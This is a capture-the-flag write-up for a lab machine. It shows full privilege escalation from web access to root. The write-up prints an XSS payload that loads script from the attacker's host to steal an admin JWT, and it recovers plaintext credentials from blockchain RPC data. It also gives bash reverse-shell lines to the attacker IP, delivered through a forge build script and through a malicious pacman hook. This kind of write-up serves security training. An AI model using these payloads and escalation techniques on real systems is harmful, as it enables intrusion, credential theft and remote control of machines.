> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2024-11-23

Hack The Box — BlockBlock (Linux)

Admin JWT theft via reported XSS, Ethereum JSON-RPC data extraction for credentials, local escalation from keira to paul through forge misuse, and root via pacman hook abuse.

Target

  • IP: 10.129.202.244

Port Scan

sudo nmap -sC -sV 10.129.202.244 -p- -T5 -v
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
|   256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_  256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp   open  http    Werkzeug/3.0.3 Python/3.12.3
|_http-title:          Home  - DBLC
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Mon, 18 Nov 2024 13:09:04 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 275864
|     Access-Control-Allow-Origin: http://0.0.0.0/
|     Access-Control-Allow-Headers: Content-Type,Authorization
|     Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     Home - DBLC
|     </title>
|     <link rel="stylesheet" href="/assets/nav-bar.css">
|     </head>
|     <body>
|     <!-- <main> -->
|     <meta charset=utf-8>
|     <meta name=viewport content="width=device-width, initial-scale=1">
|     <style>
|     :after,
|     :before {
|     box-sizing: border-box;
|     border: 0 solid #e5e7eb
|     :after,
|     :before {
|     --tw-content: ""
|     :host,
|     html {
|     line-height: 1.5;
|   HTTPOptions:
|     HTTP/1.1 500 INTERNAL SERVER ERROR
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Mon, 18 Nov 2024 13:09:04 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 265
|     Access-Control-Allow-Origin: http://0.0.0.0/
|     Access-Control-Allow-Headers: Content-Type,Authorization
|     Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>500 Internal Server Error</title>
|     <h1>Internal Server Error</h1>
|_    <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-favicon: Unknown favicon MD5: D07AD703EDD6F8326B5C45F86CA8084E
8545/tcp open  unknown
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 400 BAD REQUEST
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Mon, 18 Nov 2024 13:09:04 GMT
|     content-type: text/plain; charset=utf-8
|     Content-Length: 43
|     vary: origin, access-control-request-method, access-control-request-headers
|     access-control-allow-origin: *
|     date: Mon, 18 Nov 2024 13:09:04 GMT
|     Connection: close
|     Connection header did not include 'upgrade'
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Mon, 18 Nov 2024 13:09:05 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, POST, OPTIONS
|     Access-Control-Allow-Origin: *
|     Content-Length: 0
|     Connection: close
|   Help:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('HELP').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|     </html>
|   RTSPRequest:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

Go to:

http://10.129.202.244/

Register an account.

We can download smart contracts from:

http://10.129.202.244/api/contract_source

There are two smart contracts:

  • Chat.sol
  • Database.sol

Web Enumeration

gobuster dir -u 'http://10.129.202.244/' -w /home/kali/SecLists/Discovery/Web-Content/raft-small-words.txt -t 50

We notice endpoint /admin.

There is endpoint /api/info that returns the JWT token for the current user.

There is a chat in the website with a report user button.

We discover XSS. The idea is to exploit XSS so admin visits /api/info, then send the response to our server.

Use payload file:

  • attachments/test.js

Start listeners:

python3 -m http.server 5000
nc -vlnp 5555

Report this payload:

<img src=x onerror="var script = document.createElement('script'); script.src = 'http://10.10.16.24:5000/test.js'; document.body.appendChild(script);" />

Wait. In netcat terminal we obtain:

{"role":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g","username":"admin"}

Put that token in browser and go to:

http://10.129.202.244/admin

There is a Users button.

We notice user keira.

Using browser dev tools (Network) we notice a request to json-rpc.

Alternative: CTRL+U.

JSON-RPC Enumeration and Credential Recovery

curl 'http://10.129.202.244/api/json-rpc' --cookie 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g'
{"Authorization":"2fc67ef658a34e9cf172ed6085225fb1dfd851189bf4b6a51802656b02364a8b"}
curl 'http://10.129.202.244/api/chat_address' --cookie 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g'
"0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8"
curl -X POST 'http://10.129.202.244/api/json-rpc' --cookie 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g' -H 'Content-Type: application/json' -H 'token: 2fc67ef658a34e9cf172ed6085225fb1dfd851189bf4b6a51802656b02364a8b' -d '{"jsonrpc": "2.0", "method": "eth_getBalance", "params":["0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8", "latest"], "id": "1"}'
{"id":"1","jsonrpc":"2.0","result":"0x0"}

We discover method eth_getLogs:

  • https://www.quicknode.com/docs/ethereum/eth_getLogs
curl -X POST 'http://10.129.202.244/api/json-rpc' --cookie 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g' -H 'Content-Type: application/json' -H 'token: 2fc67ef658a34e9cf172ed6085225fb1dfd851189bf4b6a51802656b02364a8b' -d '{"jsonrpc": "2.0", "method": "eth_getLogs", "params":[{"fromBlock": "earliest","toBlock": "latest","address": "0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8"}], "id": "1"}'

We do not find anything interesting.

Use:

  • https://www.quicknode.com/docs/ethereum/eth_getBlockByNumber
curl -X POST 'http://10.129.202.244/api/json-rpc' --cookie 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjA1MTcwMywianRpIjoiMzM2MTA2YjAtOGY2Ny00MzFiLWE0MTEtNDIxYTU0MTU3MTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyMDUxNzAzLCJleHAiOjE3MzI2NTY1MDN9.bpigNGPBAoBvc4eO7OIJNTKFZxQ_p7K18cA2Zqx354g' -H 'Content-Type: application/json' -H 'token: 2fc67ef658a34e9cf172ed6085225fb1dfd851189bf4b6a51802656b02364a8b' -d '{"jsonrpc": "2.0", "method": "eth_getBlockByNumber", "params":["0x1", true], "id": "1"}'

We obtain credentials:

  • keira SomedayBitCoinWillCollapse

SSH as keira

ssh keira@10.129.202.244

Use recovered password.

cat /etc/os-release

We discover this is Arch Linux.

sudo -l
User keira may run the following commands on blockblock:
    (paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge

Privilege Escalation to paul

cd /dev/shm
mkdir test
chmod 777 test
cd test
sudo -u paul /home/paul/.foundry/bin/forge init --no-git --offline

Create file /dev/shm/rev with content:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.24/4444 0>&1
chmod 777 /dev/shm/rev

Start listener:

nc -vlnp 4444
sudo -u paul /home/paul/.foundry/bin/forge build --use /dev/shm/rev

We obtain a reverse shell as user paul.

sudo -l
User paul may run the following commands on blockblock:
    (ALL : ALL) NOPASSWD: /usr/bin/pacman

Privilege Escalation to root (pacman hook)

Start listener:

nc -vlnp 4444

Download package tree.tar.zst and upload it to target:

  • https://archlinux.org/packages/extra/x86_64/tree/download/
cd /dev/shm
mkdir test_pacman
chmod 777 test_pacman
cd test_pacman
vim tree_install.hook

Copy this content:

[Trigger]
Type = Path
Operation = Install
Target = *

[Action]
Description = Updating the info directory file...
When = PostTransaction
Exec = /bin/sh -c 'bash -i >& /dev/tcp/10.10.16.24/4444 0>&1'
NeedsTargets

Now execute:

sudo pacman -U ./tree.tar.zst --hookdir /dev/shm/test_pacman

In netcat terminal we obtain a reverse shell as root.